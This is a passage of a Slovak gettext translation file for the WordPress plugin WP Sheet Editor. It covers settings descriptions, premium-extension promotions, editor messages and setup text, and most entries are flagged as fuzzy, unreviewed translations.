example, the category column shows a tip indicating " "to separate terms with a comma and how to add child categories, variation " "columns have a tip indicating why they are locked for parent products. You " "can activate this option to disable those tips." msgstr "" "V predvolenom nastavení sa v niektorých stĺpcoch zobrazujú komentáre " "označujúce formát hodnoty alebo dôvod, prečo sú zamknuté. napríklad stĺpec " "kategórie zobrazuje tip označujúci oddelenie výrazov čiarkou a spôsob " "pridávania podradených kategórií, stĺpce variácií majú tip, ktorý uvádza, " "prečo sú uzamknuté pre nadradené produkty. Túto možnosť môžete aktivovať, " "aby ste tieto tipy zakázali." #: wp-sheet-editor/dev/inc/options-init.php:280 #, fuzzy msgid "Manage taxonomy column values as term ids?" msgstr "Spravovať hodnoty stĺpcov taxonómie ako identifikátory výrazov?" #: wp-sheet-editor/dev/inc/options-init.php:281 #, fuzzy msgid "" "By default we show the categories as names separated by commas. Activate " "this option to display and save term ids separated by commas." msgstr "" "Štandardne zobrazujeme kategórie ako názvy oddelené čiarkami. Aktivujte túto " "možnosť, ak chcete zobraziť a uložiť ID výrazov oddelené čiarkami." #: wp-sheet-editor/dev/inc/options-init.php:287 #, fuzzy msgid "Do you want to deactivate columns for new fields found?" msgstr "Chcete deaktivovať stĺpce pre nové nájdené polia?" #: wp-sheet-editor/dev/inc/options-init.php:288 #, fuzzy msgid "" "By default we automatically show columns for all the new fields found, so " "everytime we detect new fields you can see them and edit right away. But " "this might \"break\" your column sorting or annoy you if you have enabled " "specific columns. Enable this option to generate those columns but leave " "them deactivated so you can enable them later." msgstr "" "V predvolenom nastavení automaticky zobrazujeme stĺpce pre všetky nové " "nájdené polia, takže vždy, keď zistíme nové polia, môžete ich vidieť a ihneď " "upraviť. Ak ste však povolili konkrétne stĺpce, môže to „narušiť“ triedenie " "podľa stĺpcov alebo vás to môže obťažovať. Ak chcete tieto stĺpce " "vygenerovať, povoľte túto možnosť, ale nechajte ich deaktivované, aby ste " "ich mohli povoliť neskôr." #: wp-sheet-editor/dev/inc/options-init.php:295 #, fuzzy msgid "Math formula roundup decimals" msgstr "Matematický vzorec zaokrúhlenie desatinných miest" #: wp-sheet-editor/dev/inc/options-init.php:296 #, fuzzy msgid "" "We automatically round up to 2 decimals. You can enter any number here, for " "example, 1 to round to 1 decimal" msgstr "" "Automaticky zaokrúhľujeme na 2 desatinné miesta. Tu môžete zadať ľubovoľné " "číslo, napríklad 1 na zaokrúhlenie na 1 desatinné miesto" #: wp-sheet-editor/dev/inc/options-init.php:302 #, fuzzy msgid "Display raw value on select cells?" msgstr "Zobraziť nespracovanú hodnotu vo vybratých bunkách?" #: wp-sheet-editor/dev/inc/options-init.php:303 #, fuzzy msgid "" "By default, we show the label in the cell instead of the raw value. But you " "can enable this option to display the raw value in the cells." msgstr "" "V predvolenom nastavení zobrazujeme označenie v bunke namiesto nespracovanej " "hodnoty. Túto možnosť však môžete povoliť, aby sa v bunkách zobrazila " "nespracovaná hodnota." #: wp-sheet-editor/dev/inc/options-init.php:309 #, fuzzy msgid "" "Delete user accounts in the entire network when deleting users in the " "spreadsheet?" msgstr "" "Odstrániť používateľské účty v celej sieti pri odstraňovaní používateľov v " "tabuľke?" #: wp-sheet-editor/dev/inc/options-init.php:310 #, fuzzy msgid "" "When you use WordPress multisite and you delete a user in the users " "spreadsheet, by default we only remove the user from the current site but " "the user remains in the network. Activate this option if you want to delete " "the user account from the entire network" msgstr "" "Keď používate viac stránok WordPress a odstránite používateľa v tabuľke " "používateľov, v predvolenom nastavení odstránime používateľa iba z aktuálnej " "lokality, ale používateľ zostane v sieti. Aktivujte túto možnosť, ak chcete " "odstrániť používateľský účet z celej siete" #: wp-sheet-editor/dev/inc/options-init.php:316 #, fuzzy msgid "Disable the addition of file ID to the image URLs?" msgstr "Zakázať pridávanie ID súboru do adries URL obrázkov?" #: wp-sheet-editor/dev/inc/options-init.php:317 #, fuzzy msgid "" "By default, when you export the featured image column or gallery columns, we " "add the file ID to each image url so we can import them later faster. You " "can activate this option to not add the file id and the import will work " "fine later but it wont be as fast" msgstr "" "V predvolenom nastavení, keď exportujete stĺpec odporúčaného obrázka alebo " "stĺpce galérie, ku každej webovej adrese obrázka pridávame ID súboru, aby " "sme ich mohli neskôr importovať rýchlejšie. Túto možnosť môžete aktivovať, " "aby ste nepridali ID súboru a import bude neskôr fungovať dobre, ale nebude " "taký rýchly" #: wp-sheet-editor/dev/inc/options-init.php:324 #, fuzzy msgid "General settings" msgstr "Všeobecné nastavenia" #: wp-sheet-editor/dev/inc/options-init.php:329 #, fuzzy msgid "" "In this page you can quickly set up the spreadsheet editor. This all you " "need to use the editor. The settings on the other tabs are completely " "optional and allow you to tweak the performance of the editor among other " "things." msgstr "" "Na tejto stránke môžete rýchlo nastaviť editor tabuliek. Toto všetko " "potrebujete na používanie editora. Nastavenia na ostatných kartách sú úplne " "voliteľné a umožňujú vám okrem iného vyladiť výkon editora." #: wp-sheet-editor/dev/inc/options-init.php:334 #, fuzzy msgid "Post Types" msgstr "Typy príspevkov" #: wp-sheet-editor/dev/inc/options-init.php:335 #, fuzzy msgid "On which post types do you want to enable the editor?" msgstr "Pre ktoré typy príspevkov chcete povoliť editor?" #: wp-sheet-editor/dev/inc/options-init.php:344 #, fuzzy msgid "Misc" msgstr "Misc" #: wp-sheet-editor/dev/inc/options-init.php:350 #, fuzzy msgid "Initial rows offset" msgstr "Počiatočné riadky sú posunuté" #: wp-sheet-editor/dev/inc/options-init.php:351 #, fuzzy msgid "" "When you have 1000 posts , you might want to open the spreadsheet and start " "editing from post 200. This option lets you skip a lot of rows. IMPORTANT. " "We use the pagination, so we will display the page closest to that number. " "For example. If you load 10 rows per page and enter 1205 as offset, the " "sheet will start from page 120 (index 1200) because it is the page closest " "to the defined offset." msgstr "" "Keď máte 1 000 príspevkov , možno budete chcieť otvoriť tabuľku a začať " "upravovať od príspevku 200. Táto možnosť vám umožňuje preskočiť veľa riadkov." " DÔLEŽITÉ. Používame stránkovanie, takže zobrazíme stránku najbližšie k " "tomuto číslu. Napríklad. Ak načítate 10 riadkov na stranu a zadáte 1205 ako " "odsadenie, hárok začne od strany 120 (index 1200), pretože ide o stranu " "najbližšie k definovanému odsadeniu." #: wp-sheet-editor/dev/inc/options-init.php:357 #, fuzzy msgid "Delete the attached images when deleting a post?" msgstr "Odstrániť priložené obrázky pri odstraňovaní príspevku?" #: wp-sheet-editor/dev/inc/options-init.php:358 #, fuzzy msgid "" "For example, when deleting a post completely (not moving to the trash), " "delete the featured image and product gallery images from the media library. " "CAREFUL.If you use the same images on multiple posts, it will break the " "images on other posts" msgstr "" "Napríklad pri úplnom odstraňovaní príspevku (nepresúvaní do koša) odstráňte " "odporúčaný obrázok a obrázky galérie produktov z knižnice médií. POZOR. Ak " "použijete rovnaké obrázky na viacerých príspevkoch, obrázky na iných " "príspevkoch sa pokazia" #: wp-sheet-editor/dev/inc/options-init.php:367 #, fuzzy msgid "Disable extension offerings?" msgstr "Zakázať ponuky rozšírení?" #: wp-sheet-editor/dev/inc/providers/post.php:385 #, fuzzy msgid "" "Row ID: %d, Post type: %s does not exist in WordPress. Make sure your CSV " "uses the right name in the post type column." msgstr "" "ID riadka: %d, Typ príspevku: %s vo WordPress neexistuje. Uistite sa, že váš " "CSV používa správny názov v stĺpci typu príspevku." #: wp-sheet-editor/dev/inc/providers/post.php:392 #, fuzzy msgid "" "Row ID: %d. You are trying to save an empty post type. Make sure your CSV " "uses the right name in the post type column." msgstr "" "ID riadka: %d. Pokúšate sa uložiť prázdny typ príspevku. Uistite sa, že váš " "CSV používa správny názov v stĺpci typu príspevku." #: wp-sheet-editor/dev/inc/teasers/advanced-filters.php:39 #: wp-sheet-editor/dev/inc/teasers/advanced-filters.php:46 #: wp-sheet-editor/dev/inc/teasers/advanced-filters.php:54 #, fuzzy msgid "Go Premium" msgstr "Prejsť na Premium" #: wp-sheet-editor/dev/inc/teasers/coupons.php:33 #, fuzzy msgid "WooCommerce Coupons" msgstr "WooCommerce kupóny" #: wp-sheet-editor/dev/inc/teasers/coupons.php:51 #, fuzzy msgid "" "Edit Coupons in a Spreadsheet.
                  Edit coupon codes, amounts, status, " "restrictions, and more. Make advanced searches. The spreadsheet is in sync " "with your site, no need to import/export. Download Plugin" msgstr "" "Upravte kupóny v tabuľke.
                  Upravte kódy kupónov, sumy, stav, obmedzenia " "a ďalšie. Urobte rozšírené vyhľadávanie. Tabuľka je synchronizovaná s vašou " "stránkou, nie je potrebné ju importovať/exportovať. Stiahnite si doplnok" #: wp-sheet-editor/dev/inc/teasers/formulas.php:34 #, fuzzy msgid "Apply changes in bulk" msgstr "Hromadne použite zmeny" #: wp-sheet-editor/dev/inc/teasers/formulas.php:56 #, fuzzy msgid "Bulk Update feature" msgstr "Funkcia hromadnej aktualizácie" #: wp-sheet-editor/dev/inc/teasers/formulas.php:58 #, fuzzy msgid "" "The \"bulk update\" feature allows you to update several posts at once
                  " "and you can do a lot of cool things, for example:" msgstr "" "Funkcia „hromadná aktualizácia“ vám umožňuje aktualizovať niekoľko " "príspevkov naraz
                  a môžete robiť veľa skvelých vecí, napríklad:" #: wp-sheet-editor/dev/inc/teasers/formulas.php:61 #, fuzzy msgid "Replace words or phrases in your posts titles, content, or other fields" msgstr "" "Nahraďte slová alebo frázy v názvoch príspevkov, obsahu alebo iných poliach" #: wp-sheet-editor/dev/inc/teasers/formulas.php:62 #, fuzzy msgid "Increase or decrease products prices" msgstr "Zvýšiť alebo znížiť ceny produktov" #: wp-sheet-editor/dev/inc/teasers/formulas.php:63 #, fuzzy msgid "Increase or decrease products stock" msgstr "Zvýšte alebo znížte zásoby produktov" #: wp-sheet-editor/dev/inc/teasers/formulas.php:64 #, fuzzy msgid "Move all your drafts to published posts or any other status" msgstr "" "Presuňte všetky svoje koncepty do zverejnených príspevkov alebo do " "akéhokoľvek iného stavu" #: wp-sheet-editor/dev/inc/teasers/formulas.php:65 #, fuzzy msgid "Set hundreds of products at once as out of stock or in stock" msgstr "Nastavte stovky produktov naraz ako na sklade alebo na sklade" #: wp-sheet-editor/dev/inc/teasers/formulas.php:66 #, fuzzy msgid "" "Add call to actions or any text at the beginning or ending of your posts" msgstr "" "Pridajte výzvu na akciu alebo akýkoľvek text na začiatok alebo koniec " "svojich príspevkov" #: wp-sheet-editor/dev/inc/teasers/formulas.php:67 #, fuzzy msgid "Replace old shortcodes with new shortcodes in all your posts" msgstr "Nahraďte staré krátke kódy novými vo všetkých svojich príspevkoch" #: wp-sheet-editor/dev/inc/teasers/formulas.php:68 msgid "Set the same featured image in all the posts in a category" msgstr "" "Nastaviť rovnaký ilustračný obrázok vo všetkých príspevkoch v kategórii" #: wp-sheet-editor/dev/inc/teasers/formulas.php:69 #, fuzzy msgid "Move hundreds of posts to the trash" msgstr "Presuňte stovky príspevkov do koša" #: wp-sheet-editor/dev/inc/teasers/formulas.php:70 #, fuzzy msgid "Etc." msgstr "Atď." #: wp-sheet-editor/dev/inc/teasers/formulas.php:72 #, fuzzy msgid "" "Imagine being able to do all those changes to hundreds or thousands of posts " "at once in just a few minutes. The formulas feature is available as premium " "extension." msgstr "" "Predstavte si, že by ste všetky tieto zmeny mohli urobiť na stovkách alebo " "tisíckach príspevkov naraz za pár minút. Funkcia vzorcov je k dispozícii ako " "prémiové rozšírenie." #: wp-sheet-editor/dev/inc/teasers/formulas.php:75 #: wp-sheet-editor/dev/inc/teasers/frontend.php:77 #: wp-sheet-editor/dev/inc/teasers/post-types.php:132 #, fuzzy msgid "Buy extension now!" msgstr "Kúpte si rozšírenie teraz!" #: wp-sheet-editor/dev/inc/teasers/frontend.php:33 #, fuzzy msgid "Display spreadsheet editor on the frontend" msgstr "Zobraziť editor tabuliek na klientskom rozhraní" #: wp-sheet-editor/dev/inc/teasers/frontend.php:58 #, fuzzy msgid "" "We have an extension for displaying this spreadsheet on the frontend. You " "can select the columns to display, and select the spreadsheet tools for the " "frontend users (search, bulk, edit, import, export, etc.). For example:" msgstr "" "Máme rozšírenie na zobrazenie tejto tabuľky na frontende. Môžete vybrať " "stĺpce, ktoré sa majú zobraziť, a vybrať tabuľkové nástroje pre používateľov " "frontendu (vyhľadávanie, hromadné, úpravy, import, export atď.). Napríklad:" #: wp-sheet-editor/dev/inc/teasers/frontend.php:61 #, fuzzy msgid "" "Allow your clients to edit WooCommerce Products using the spreadsheet " "without wp-admin" msgstr "" "Umožnite svojim klientom upravovať produkty WooCommerce pomocou tabuľky bez " "wp-admin" #: wp-sheet-editor/dev/inc/teasers/frontend.php:62 #, fuzzy msgid "Allow your readers to submit blog posts using the spreadsheet" msgstr "Umožnite svojim čitateľom odosielať blogové príspevky pomocou tabuľky" #: wp-sheet-editor/dev/inc/teasers/frontend.php:63 #, fuzzy msgid "Allow your visitors to publish events" msgstr "Umožnite svojim návštevníkom zverejňovať udalosti" #: wp-sheet-editor/dev/inc/teasers/frontend.php:64 #, fuzzy msgid "Allow your store employees to manage stock and prices" msgstr "Umožnite zamestnancom vášho obchodu spravovať zásoby a ceny" #: wp-sheet-editor/dev/inc/teasers/frontend.php:65 #, fuzzy msgid "Allow your marketplace sellers to import products on the frontend" msgstr "" "Umožnite svojim predajcom na trhovisku importovať produkty na frontende" #: wp-sheet-editor/dev/inc/teasers/frontend.php:66 #, fuzzy msgid "Allow your marketplace sellers to bulk edit their products" msgstr "" "Umožnite svojim predajcom na trhovisku hromadne upravovať svoje produkty" #: wp-sheet-editor/dev/inc/teasers/frontend.php:67 #, fuzzy msgid "Allow your store buyers to download the catalog" msgstr "Umožnite kupujúcim vo vašom obchode stiahnuť katalóg" #: wp-sheet-editor/dev/inc/teasers/frontend.php:68 #, fuzzy msgid "Allow your store customers to make advanced catalog searches " msgstr "" "Umožnite zákazníkom vášho obchodu vykonávať pokročilé vyhľadávanie v katalógu" #: wp-sheet-editor/dev/inc/teasers/frontend.php:69 #, fuzzy msgid "And more." msgstr "A viac." #: wp-sheet-editor/dev/inc/teasers/frontend.php:72 #, fuzzy msgid "Demo video" msgstr "Demo video" #: wp-sheet-editor/dev/inc/teasers/frontend.php:74 #, fuzzy msgid "" "All the features available in the backend spreadsheet can be used in the " "frontend spreadsheet." msgstr "" "Všetky funkcie dostupné v backendovej tabuľke je možné použiť v frontendovej " "tabuľke." #: wp-sheet-editor/dev/inc/teasers/post-types.php:86 #, fuzzy msgid "Edit WordPress %s" msgstr "Upraviť WordPress %s" #: wp-sheet-editor/dev/inc/teasers/post-types.php:88 #, fuzzy msgid "The spreadsheet editor can be used to edit your WordPress %s." msgstr "Na úpravu vášho WordPress %s je možné použiť tabuľkový editor." #: wp-sheet-editor/dev/inc/teasers/post-types.php:91 #, fuzzy msgid "You can edit your Media information like:" msgstr "Môžete upraviť informácie o médiách, ako napríklad:" #: wp-sheet-editor/dev/inc/teasers/post-types.php:94 #, fuzzy msgid "Caption" msgstr "Popis" #: wp-sheet-editor/dev/inc/teasers/post-types.php:95 #, fuzzy msgid "Alternative text" msgstr "Alternatívny text" #: wp-sheet-editor/dev/inc/teasers/post-types.php:96 #, fuzzy msgid "Description" msgstr "Popis" #: wp-sheet-editor/dev/inc/teasers/post-types.php:98 #, fuzzy msgid "Uploaded by user" msgstr "Nahrané používateľom" #: wp-sheet-editor/dev/inc/teasers/post-types.php:100 #, fuzzy msgid "Enable comments" msgstr "Povoliť komentáre" #: wp-sheet-editor/dev/inc/teasers/post-types.php:101 #, fuzzy msgid "And see previews while editing" msgstr "A počas úprav si pozrite ukážky" #: wp-sheet-editor/dev/inc/teasers/post-types.php:106 #, fuzzy msgid "You can edit your WooCommerce products information like:" msgstr "" "Môžete upraviť informácie o svojich produktoch WooCommerce, ako napríklad:" #: wp-sheet-editor/dev/inc/teasers/post-types.php:110 #, fuzzy msgid "Full content" msgstr "Plný obsah" #: wp-sheet-editor/dev/inc/teasers/post-types.php:113 #, fuzzy msgid "Sale price dates" msgstr "Dátumy predajnej ceny" #: wp-sheet-editor/dev/inc/teasers/post-types.php:114 msgid "Featured image" msgstr "Ilustračný obrázok" #: wp-sheet-editor/dev/inc/teasers/post-types.php:115 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:590 #, fuzzy msgid "Gallery" msgstr "Galéria" #: wp-sheet-editor/dev/inc/teasers/post-types.php:117 #, fuzzy msgid "Is Downloadable" msgstr "Dá sa stiahnuť" #: wp-sheet-editor/dev/inc/teasers/post-types.php:118 #, fuzzy msgid "Is Virtual" msgstr "Je virtuálny" #: wp-sheet-editor/dev/inc/teasers/post-types.php:124 #, fuzzy msgid "" "With our editor you will be able to edit all the information of
                  your %s " "saving you a lot of time." msgstr "" "S naším editorom budete môcť upravovať všetky informácie o
                  vašom %s, čo " "vám ušetrí veľa času." #: wp-sheet-editor/dev/inc/teasers/post-types.php:128 #, fuzzy msgid "This feature is available as premium extension." msgstr "Táto funkcia je dostupná ako prémiové rozšírenie." #: wp-sheet-editor/dev/inc/teasers/terms.php:70 #, fuzzy msgid "" "Tip from WP Sheet Editor: Edit thousands of categories at once, make " "advanced searches, view all the info in one page, and more." msgstr "" "Tip z editora hárkov WP: Upravujte tisíce kategórií naraz, robte " "rozšírené vyhľadávanie, zobrazujte všetky informácie na jednej stránke a " "ešte viac." #: wp-sheet-editor/dev/inc/teasers/terms.php:70 #, fuzzy msgid "Edit in a Spreadsheet" msgstr "Upraviť v tabuľke" #: wp-sheet-editor/dev/inc/teasers/upgrade-popup.php:64 #, fuzzy msgid "" ". Upgrade: Export, import, edit in Excel or Google Sheets; bulk edit thousands of " "rows at once, edit all the fields from other plugins, and more. Upgrade and Save Days " "of Work" msgstr "" ". Inovácia: Exportujte, importujte, upravujte v Exceli alebo " "Tabuľkách Google; " "hromadne upravovať tisíce riadkov naraz, upravovať všetky polia z iných " "doplnkov a ďalšie. " "Inovujte a ušetrite dni práce" #: wp-sheet-editor/dev/inc/teasers/upgrade-popup.php:83 #, fuzzy msgid "View Extensions" msgstr "Zobraziť rozšírenia" #: wp-sheet-editor/dev/inc/teasers/users.php:32 #, fuzzy msgid "Users" msgstr "Používatelia" #: wp-sheet-editor/dev/inc/teasers/users.php:51 #, fuzzy msgid "" "Tip from WP Sheet Editor: You can view all the users in a table, view " "thousands of full profiles, edit hundreds of users at once without crashing " "your server, view all shipping/billing/buddypress information. Make advanced " "searches, create hundreds of users, and more. Download Plugin" msgstr "" "Tip od editora hárkov WP: Môžete zobraziť všetkých používateľov v " "tabuľke, zobraziť tisíce úplných profilov, upraviť stovky používateľov naraz " "bez toho, aby došlo k zlyhaniu vášho servera, zobraziť všetky informácie o " "preprave/fakturácii/spoločnosti. Uskutočňujte pokročilé vyhľadávania, " "vytvorte stovky používateľov a ešte viac. " "Stiahnite si doplnok" #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:345 #, fuzzy msgid "" ". Lite version. Showing all products and all fields as columns, 15 " "columns are editable and the rest are read only.
                  Upgrade: Edit in " "Excel/Google Sheets, export, import, bulk edit thousands of products at once." msgstr "" ". Zjednodušená verzia. Všetky produkty a polia sa zobrazujú ako " "stĺpce, 15 stĺpcov je možné upravovať a ostatné sú len na čítanie.
                  " "Inovácia: Upravujte v Exceli/Tabuľkách Google, exportujte, importujte a " "hromadne upravujte tisíce produktov naraz." #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:357 #, fuzzy msgid "" "Tip from WP Sheet Editor: You can view and edit Product Variations in " "a spreadsheet, bulk edit, make advanced searches, edit hundreds of " "variations at once, copy variations to multiple products, etc. Download Plugin" msgstr "" "Tip od WP Sheet Editor: Variácie produktov si môžete prezerať a " "upravovať v tabuľke, hromadne upravovať, vykonávať rozšírené vyhľadávanie, " "upravovať stovky variácií naraz, kopírovať variácie do viacerých produktov " "atď. Stiahnuť plugin" #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:455 #, fuzzy msgid "Regular Price" msgstr "Normálna cena" #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:469 #, fuzzy msgid "Sale Price" msgstr "Zľavnená cena" #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:636 #, fuzzy msgid "Sales price date from" msgstr "Predajná cena dátum od" #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:648 #, fuzzy msgid "Sales price date to" msgstr "Dátum predajnej ceny do" #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:675 #, fuzzy msgid "is featured?" msgstr "je uvádzaný?" #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:691 #, fuzzy msgid "Allow backorders" msgstr "Povoliť spätné objednávky" # php source does not exist #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:866 #, fuzzy msgid "" "Note: Separate values with the character %s
                  The product must be variable " "and have existing variations for this to work, otherwise the default " "attributes won't be saved." msgstr "" "Poznámka: Hodnoty oddeľte znakom %s
                  Aby to fungovalo, produkt musí byť " "premenný a mať existujúce variácie, inak sa predvolené atribúty neuložia." "" #: wp-sheet-editor/dev/views/editor-page.php:53 #, fuzzy msgid "Full screen mode is active" msgstr "Režim celej obrazovky je aktívny" #: wp-sheet-editor/dev/views/editor-page.php:54 #, fuzzy msgid "Exit" msgstr "VÝCHOD" #: wp-sheet-editor/dev/views/editor-page.php:58 #, fuzzy msgid "Activate full screen" msgstr "Aktivujte celú obrazovku" #: wp-sheet-editor/dev/views/editor-page.php:98 #, fuzzy msgid "Current spreadsheet: %s" msgstr "Aktuálna tabuľka: %s" #: wp-sheet-editor/dev/views/editor-page.php:98 #, fuzzy msgid "0 rows" msgstr "0 riadkov" #: wp-sheet-editor/dev/views/editor-page.php:107 #, fuzzy msgid "" ". We recommend you increase the server memory to at least 256mb to prevent " "server errors. Tutorial" msgstr "" ". Odporúčame vám zvýšiť pamäť servera aspoň na 256 MB, aby ste predišli " "chybám servera. Návod" #: wp-sheet-editor/dev/views/editor-page.php:111 #, fuzzy msgid "Active filters:" msgstr "Aktívne filtre:" #: wp-sheet-editor/dev/views/editor-page.php:124 #: wp-sheet-editor/dev/views/quick-setup.php:37 #, fuzzy msgid "Welcome to WP Sheet Editor" msgstr "Vitajte v editore hárkov WP" #: wp-sheet-editor/dev/views/editor-page.php:125 #, fuzzy msgid "" "Please make a search to load the rows and start editing (use the \"search\" " "option in the top toolbar)." msgstr "" "Vykonaním vyhľadávania načítajte riadky a začnite upravovať (použite možnosť " "„hľadať“ na hornom paneli nástrojov)." #: wp-sheet-editor/dev/views/editor-page.php:127 #, fuzzy msgid "" "You need to load the rows manually because you deactivated the automatic " "loading of rows. Change the settings" msgstr "" "Riadky musíte načítať manuálne, pretože ste deaktivovali automatické " "načítanie riadkov. Zmeňte nastavenia" #: wp-sheet-editor/dev/views/editor-page.php:144 msgid "Go to page" msgstr "Ísť na stránku" #: wp-sheet-editor/dev/views/editor-page.php:146 #, fuzzy msgid "Use an infinite list instead of pagination" msgstr "Namiesto stránkovania použite nekonečný zoznam" #: wp-sheet-editor/dev/views/editor-page.php:146 #, fuzzy msgid "" "Activate this option to remove the pagination buttons and load rows " "automatically when you scroll down. You will see all the rows at the same " "time, you can load thousands of rows without problems." msgstr "" "Aktivujte túto možnosť, ak chcete odstrániť tlačidlá stránkovania a " "automaticky načítať riadky pri posúvaní nadol. Všetky riadky uvidíte naraz, " "bez problémov načítate tisíce riadkov." #: wp-sheet-editor/dev/views/editor-page.php:149 msgid "Load More Rows" msgstr "Načítať viac riadkov" #: wp-sheet-editor/dev/views/editor-page.php:150 msgid "Go to the top" msgstr "Späť na vrch" #: wp-sheet-editor/dev/views/editor-page.php:152 msgid "Enable pagination" msgstr "Povoliť stránkovanie" #: wp-sheet-editor/dev/views/editor-page.php:152 #, fuzzy msgid "" "By default we use an infinite list of rows and we load more rows every time " "you scroll down. You can activate this option to display pagination links " "and disable the infinite list" msgstr "" "V predvolenom nastavení používame nekonečný zoznam riadkov a pri každom " "posúvaní nadol načítame ďalšie riadky. Túto možnosť môžete aktivovať, ak " "chcete zobraziť odkazy na stránkovanie a zakázať nekonečný zoznam" #: wp-sheet-editor/dev/views/editor-page.php:156 msgid "Increase rows per page" msgstr "Zvýšte počet riadkov na stránku" #: wp-sheet-editor/dev/views/editor-page.php:156 #, fuzzy msgid "" "We use pagination. By default we load 20 rows per page (every time you " "scroll down). You can increase the number to load more rows every time you " "scroll down." msgstr "" "Používame stránkovanie. V predvolenom nastavení načítame 20 riadkov na " "stránku (pri každom rolovaní nadol). Pri každom posúvaní nadol môžete číslo " "zvýšiť, aby ste načítali viac riadkov." #: wp-sheet-editor/dev/views/editor-page.php:173 msgid "OK" msgstr "OK" #: wp-sheet-editor/dev/views/editor-page.php:200 #, fuzzy msgid "Editing:" msgstr "Úprava:" #: wp-sheet-editor/dev/views/editor-page.php:205 #, fuzzy msgid "You can resize the editor" msgstr "Môžete zmeniť veľkosť editora" #: wp-sheet-editor/dev/views/editor-page.php:209 #, fuzzy msgid "Save changes and go to the previous post editor" msgstr "Uložte zmeny a prejdite do predchádzajúceho editora príspevkov" #: wp-sheet-editor/dev/views/editor-page.php:210 #, fuzzy msgid "Just save changes" msgstr "Stačí uložiť zmeny" #: wp-sheet-editor/dev/views/editor-page.php:212 #, fuzzy msgid "Cancel the changes and close popup" msgstr "Zrušte zmeny a zatvorte kontextové okno" #: wp-sheet-editor/dev/views/editor-page.php:213 #, fuzzy msgid "Save changes and go to the next post editor" msgstr "Uložte zmeny a prejdite na ďalší editor príspevkov" #: wp-sheet-editor/dev/views/editor-page.php:226 #, fuzzy msgid "" "The changes about to be made are not reversible. You should backup your " "database before proceding." msgstr "" "Zmeny, ktoré sa majú vykonať, nie sú vratné. Pred pokračovaním by ste mali " "zálohovať databázu." #: wp-sheet-editor/dev/views/editor-page.php:228 #, fuzzy msgid "The changes about to be made are not reversible" msgstr "Zmeny, ktoré sa majú vykonať, nie sú vratné" #: wp-sheet-editor/dev/views/editor-page.php:230 #, fuzzy msgid "I understand, continue" msgstr "Rozumiem, pokračuj" #: wp-sheet-editor/dev/views/editor-page.php:235 #, fuzzy msgid "" "We are saving now. Don't close this window until the process has finished." msgstr "Teraz šetríme. Toto okno nezatvárajte, kým sa proces neskončí." #: wp-sheet-editor/dev/views/editor-page.php:237 #, fuzzy msgid "" "Tip: The saving is too slow? Save " "more posts per batch
                  Are you getting errors when saving? Save less posts per batch" msgstr "" "Tip: Je ukladanie príliš pomalé? " "Uložte viac príspevkov na dávku
                  Zobrazujú sa vám pri " "ukladaní chyby? Ušetrite menej " "príspevkov na dávku" #: wp-sheet-editor/dev/views/editor-page.php:264 msgid "" "The loading is taking too long?
                  1. You can wait until the process " "finished.
                  2. You can " msgstr "" "Načítanie trvá príliš dlho?
                  1. Môžete počkať, kým sa proces neskončí.
                  " " 2. " #: wp-sheet-editor/dev/views/extensions-modal.php:4 #: wp-sheet-editor/dev/views/usage-stats-widget.php:95 #, fuzzy msgid "Extend the spreadsheet" msgstr "Rozšírte tabuľku" #: wp-sheet-editor/dev/views/extensions-page.php:18 #, fuzzy msgid "What component do you need?" msgstr "Aký komponent potrebujete?" #: wp-sheet-editor/dev/views/extensions.php:31 #, fuzzy msgid "Promotion. %d%% OFF only today. " msgstr "Propagácia. ZĽAVA %d%% len dnes." #: wp-sheet-editor/dev/views/extensions.php:33 #, fuzzy msgid "Get the %d extensions below for just $ %s $ %s" msgstr "Získajte %d rozšírenia nižšie len za $ %s $ %s" #: wp-sheet-editor/dev/views/extensions.php:37 #, fuzzy msgid "
                  Use the coupon: %s" msgstr "
                  Použite kupón: %s" #: wp-sheet-editor/dev/views/extensions.php:41 #, fuzzy msgid "" "Money back guarantee. Buy the plugin without worries. We'll give you " "a refund if the plugin doesn't work." msgstr "" "Záruka vrátenia peňazí. Kúpte si doplnok bez starostí. Ak doplnok " "nefunguje, vrátime vám peniaze." #: wp-sheet-editor/dev/views/extensions.php:49 #, fuzzy msgid "Other extensions" msgstr "Ďalšie rozšírenia" #: wp-sheet-editor/dev/views/free-extensions-for-welcome.php:15 #, fuzzy msgid "Spreadsheet for %s %s" msgstr "Tabuľka pre %s %s" #: wp-sheet-editor/dev/views/free-extensions-for-welcome.php:19 #, fuzzy msgid "

                  Free extensions

                  " msgstr "

                  Bezplatné rozšírenia

                  " #: wp-sheet-editor/dev/views/post-types-form.php:15 #, fuzzy msgid "Available spreadsheets" msgstr "Dostupné tabuľky" #: wp-sheet-editor/dev/views/quick-setup.php:62 #, fuzzy msgid "Save and continue" msgstr "Uložiť a pokračovať" #: wp-sheet-editor/dev/views/quick-setup.php:68 #, fuzzy msgid "Available components" msgstr "Dostupné komponenty" #: wp-sheet-editor/dev/views/quick-setup.php:69 #, fuzzy msgid "" "The spreadsheet editor is very powerful and it has a lot of features. In " "this step you can enable the features that you need." msgstr "" "Tabuľkový editor je veľmi výkonný a má veľa funkcií. V tomto kroku môžete " "povoliť funkcie, ktoré potrebujete." #: wp-sheet-editor/dev/views/quick-setup.php:75 #, fuzzy msgid "Continue" msgstr "ďalej" #: wp-sheet-editor/dev/views/quick-setup.php:79 #, fuzzy msgid "The Spreadsheet is ready." msgstr "Tabuľka je pripravená." #: wp-sheet-editor/dev/views/quick-setup.php:92 #: wp-sheet-editor/dev/views/usage-stats-widget.php:114 msgid "Edit " msgstr "Upraviť" #: wp-sheet-editor/dev/views/quick-setup.php:108 #, fuzzy msgid "" "Tip. We can help you with the spreadsheet setup. Get instant help in the " "live chat during business hours" msgstr "" "Tip. Môžeme vám pomôcť s nastavením tabuľky. Získajte okamžitú pomoc v živom " "rozhovore počas pracovnej doby" #: wp-sheet-editor/dev/views/settings-form.php:1 msgid "Advanced Settings" msgstr "Pokročilé nastavenia" #: wp-sheet-editor/dev/views/settings-form.php:12 #: wp-sheet-editor/dev/views/settings-form.php:56 #, fuzzy msgid "Reset settings" msgstr "Obnoviť nastavenia" #: 